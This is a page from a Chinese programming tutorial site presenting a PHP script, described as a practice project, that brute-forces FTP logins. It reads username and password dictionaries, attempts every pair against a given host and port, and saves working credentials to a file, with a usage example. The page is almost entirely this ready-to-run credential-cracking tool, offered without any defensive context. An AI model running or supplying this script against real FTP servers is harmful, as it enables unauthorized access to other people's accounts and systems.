程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> 暴破FTP用戶名和密碼(PHP練手作品)

暴破FTP用戶名和密碼(PHP練手作品)

編輯:關於PHP編程

<?php
//用法:php 本文件.php FTP的IP 端口 用戶字典 密碼字典,示例:php ftp.php 192.168.8.10 21 user.dic pass.dic。可以自己改動sleep裡的秒數,暴破成功後用戶名和密碼保存在同目錄下的ok.txt。


//分別取不同用戶名和N個密碼對應
$user=file($_SERVER["argv"][3]);
$pass=file($_SERVER["argv"][4]);
$countuser=count($user);
$countpass=count($pass);
$n=0;
do
{


for($i=0;$i<$countpass;$i=$i+1){
echo "$user[$n],$pass[$i]";
ftplogin($user[$n],$pass[$i]);//調用ftp函數
sleep(5);//防止ftp宕掉,暫且停5秒
Continue;
    }
     $n++;
     }
while($n<$countuser);

//FTP函數,登陸成功寫入正確用戶名和密碼到本目錄下的ok.txt
function ftplogin($username,$password){
//global $username, $password;
$host=$_SERVER["argv"][1];
$port=$_SERVER["argv"][2];
$conn = ftp_connect($host,$port);
if(!$conn){

 echo "無法連FTP";
    exit;
}
@ $result=ftp_login($conn,$username,$password);
if(!$result){
    echo "error";
    ftp_quit($conn);
    }
else{
echo "---------------------------------->ok";
fputs(fopen(ok.txt,a+),"用戶名:".$username."密碼:".$password);
}
}

?>

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved